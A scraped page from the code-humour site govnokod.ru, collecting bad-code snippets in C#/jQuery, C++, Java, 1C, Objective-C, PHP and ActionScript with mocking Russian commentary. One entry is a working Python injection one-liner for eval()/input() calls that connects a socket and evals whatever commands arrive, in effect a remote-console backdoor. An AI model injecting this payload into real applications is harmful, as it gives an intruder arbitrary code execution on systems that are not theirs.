- 1
- 2
- 3
- 4
<form action="..." ...>
...
<input type="button" ... onclick="$('form').submit();" />
</form>
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+161
<form action="..." ...>
...
<input type="button" ... onclick="$('form').submit();" />
</form>
Живет на свете один c# девелопер, который всегда всем говорит: "я не верстальщик - я c# девелопер. я не js программист - я c# девелопер" ну и т.д. И вот однажды он решил самостоятельно сделать функционал поиска...
(На самом деле на стороне сервера еще гуще развивались события...но это уже другая история...) с серверным c# кодом вы можете ознакомится тут http://govnokod.ru/user/5616/codes
+7
#include <iostream>
namespace detail
{
class CRWO;
class CRO;
class CWO;
class CO;
}
typedef detail::CRWO& CRWO;
typedef detail::CRO& CRO;
typedef detail::CWO& CWO;
typedef detail::CO& CO;
class C
{
friend class detail::CRWO;
friend class detail::CRO;
friend class detail::CWO;
friend class detail::CO;
public:
C( int a ) : value(a) {}
~C() {};
operator CRWO() { return *static_cast<detail::CRWO*>(static_cast<void*>(this)); }
operator CRO() { return *static_cast<detail::CRO*>(static_cast<void*>(this)); }
operator CWO() { return *static_cast<detail::CWO*>(static_cast<void*>(this)); }
operator CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
private:
void set( int newValue ) { value = newValue; }
int get() { return value; }
private:
int value;
};
class detail::CRWO
{
public:
void set( int newValue ) { static_cast<C*>(static_cast<void*>(this))->set( newValue ); }
int get() { return static_cast<C*>(static_cast<void*>(this))->get( ); }
operator ::CRO() { return *static_cast<detail::CRO*>(static_cast<void*>(this)); }
operator ::CWO() { return *static_cast<detail::CWO*>(static_cast<void*>(this)); }
operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
private:
CRWO(); CRWO(const CRWO&);~CRWO();CRWO& operator=(const CRWO&);void operator&(); void operator*();
};
class detail::CWO
{
public:
void set( int newValue ) { static_cast<C*>(static_cast<void*>(this))->set( newValue ); }
operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
private:
CWO(); CWO(const CWO&);~CWO();CWO& operator=(const CWO&);void operator&(); void operator*();
};
class detail::CRO
{
public:
int get() { return static_cast<C*>(static_cast<void*>(this))->get( ); }
operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
private:
CRO(); CRO(const CRO&);~CRO();CRO& operator=(const CRO&);void operator&(); void operator*();
};
class detail::CO
{
public:
private:
CO(); CO(const CO&);~CO();CO& operator=(const CO&);void operator&(); void operator*();
};int main(int argc, char *argv[])
{
C c(3);
CRWO rwo = c;
CRO ro = c;
CWO wo = c;
CO o = c;
std::cout << rwo.get() << std::endl;
wo.set( 5);
std::cout << ro.get() << std::endl;
return 0;
}
Оттуда.
Автор требует указывать авторство при копировании.
+23
typedef const AbstractParameter ConstAbstractParameter;
class Parameter: public ConstAbstractParameter{
GCC это не компилирует, но в 2008 ms vs компилируется без предупреждений. Я это как увидел, так сразу переписал на
class Parameter: public AbstractParameter{+95
import java.io.PrintStream;
import java.util.concurrent.atomic.AtomicBoolean;
public final class ShredingerCat
extends AtomicBoolean
{
static final PrintStream o=System.out;
static final long initMsec=System.currentTimeMillis ();
public static final ShredingerCat INSTANCE = new ShredingerCat();
private ShredingerCat ()
{
set ( false );
o.println ( "Construct SingleBool" );
}
public final
void criticalSection(){
synchronized (this) {
pr ( "Enter critical section" );
ShredingerCat.sl ( 5 );
pr ( "Cat is " +(
get()
? "dead"
: "alive"
)
);
sl(100);
pr ( "Exit critical section" );
}
}
// ===================== HELPER STUFF ========================
static void pr(String s){
o.println ( s+(
System.currentTimeMillis ()- initMsec
));
}
static void sl(long l){
try {
Thread.sleep ( l );
}catch (InterruptedException e) {
}
}
}
Обсуждение #11989 безопасных публикаций, конструкторов и синглтонов вдохновило меня на создание этого примера.
Суть: есть кот-синглтон. Он как вы видите защищен со всех сторон finalами, приправленое к тому же Atomicом.
Задание на серебряную медаль - сделать так чтобы 2 последовательных вызова toString() вывели Dead и Alive. Объект не должен меняться.
Задание на золотую медаль: необходимо получить примерно такой вывод:
Enter critical section0
Enter critical section0
Cat is alive16
Cat is dead16
Exit critical section110
Exit critical section110
За использование рефлексии и прочих unsafe - немедленная дисквалификация и бан модератором.
Решение будет чуть позже. Отдельным постом.
−126
1CClientBankExchange
ВерсияФормата=1.01
Кодировка=Windows
Получатель=
ДатаНачала=25.09.2012
ДатаКонца=25.09.2012
...
СекцияРасчСчет
...
КонецРасчСчет
СекцияДокумент=Платежное поручение
...
КонецДокумента
КонецФайла
Формат файла: Стандарт обмена с системами "Клиент банка"
http://v8.1c.ru/edi/edi_stnd/100/101.htm
Пидорва изобрела ini-файлы. Но убило не это, а это:
>Кодировка=Windows
−105
if (indexPath.row==0 && indexPath.section==0) {
// ...
} else if (indexPath.row==1 && indexPath.section==0) {
// ...
} else if (indexPath.row==0 && indexPath.section==2) {
// ...
} else if (indexPath.section == 2 && indexPath.row == 1) {
// ...
}
В оригинале еще и оформление кода абсолютно шизофреническое. Откуда только такие берутся?
−94
42 if (
setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
setattr(__builtins__,'___worker' ,lambda S: any(
(True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
),
__builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
) else 0
Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
Отформатировано для удобства чтения, вообще это однострочник.
Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.
+66
<?php
//You can even add more Dollar Signs
$Bar = "a";
$Foo = "Bar";
$World = "Foo";
$Hello = "World";
$a = "Hello";
$a; //Returns Hello
$$a; //Returns World
$$$a; //Returns Foo
$$$$a; //Returns Bar
$$$$$a; //Returns a
$$$$$$a; //Returns Hello
$$$$$$$a; //Returns World
//... and so on ...//
?>
Из комментов на http://www.php.net/manual/en/language.variables.variable.php
−86
var file: * = File.userDirectory.resolvePath(CACHE_PATH + hashURL(key));
На первый взгляд просто немного странный код, но за ним стоит интересная история.
Человек написавший этот код после долгих расспросов и двузначных ответов таки сознался, что таким образом он надеялся избежать компиляции AIR классов в бразуерном проекте. Но интереснее еще и то, что человек продолжает в это свято верить и отстаивать свою точку зрения... а я уволился.
Если вы не в курсе, Адоби делают несколько версий плееров, одна "ветка" предназначена для запуска с десктопа и ей можно обращаться к файловой системе, в то время как обычному плееру в браузере такое делать нельзя, ну или только после всяческих подтверждений и т.п. Человек таким образом пытлася написать кеширование загруженных картинок на диск к пользователю. Но тут судьба сыграла злую шутку, он компилировал все эти классы в библиотеку, которую забывал обновлять, и по счастливому стечению обстоятельств, библиотечный класс не содержал никаких упоминаний файловой системы - и все работало замечательно.
Прогрнозируемый разрыв шаблона произойдет примерно недели через две-три, когда нужно будет обновлять версию. Ну, это конечно при условии, что кеширование каким-то образом будут тестировать, но, скорее всего не будут, и шутка может затянуться.
+72
/*
* Called from a large number of places
* By Ofer
*/
static function getOrderStatus( $po_numb='', $supplier='', $shipping='', $id=0,$customer_id=0,$order='',$order_asc='',$item_status_id=0,$order_status=0, $start_date='',$end_date='',
$name_begins_with = '', $phone = '', $email = '', $list_mgr_id = 0, $is_corporate = '', $sales_id=0,
$first_name = '', $last_name='', $city='', $state='',
$zip='', $store_numb=0, $po_numb='', $release_date='',$supplier=0,
$tracking_numb='', $payment_method='', $shipped_balance='', $avs='', $last4='',
$brand_id=0, $model_numb='',$damage='', $delivery_issue='', $past_damage='',
$coming_back='', $file_claim_ups='', $file_claim_frt='', $rewview='', $balance='', $shipper=0,
$has_balance = 0, $sales_account_id=0, $reference_number="", $third_party_order='', $ebay_id='', $trucker_id='',$get_total=false,
$limit=0, $start=0, $use_dates=0) {
Просто очаровательный комментарий!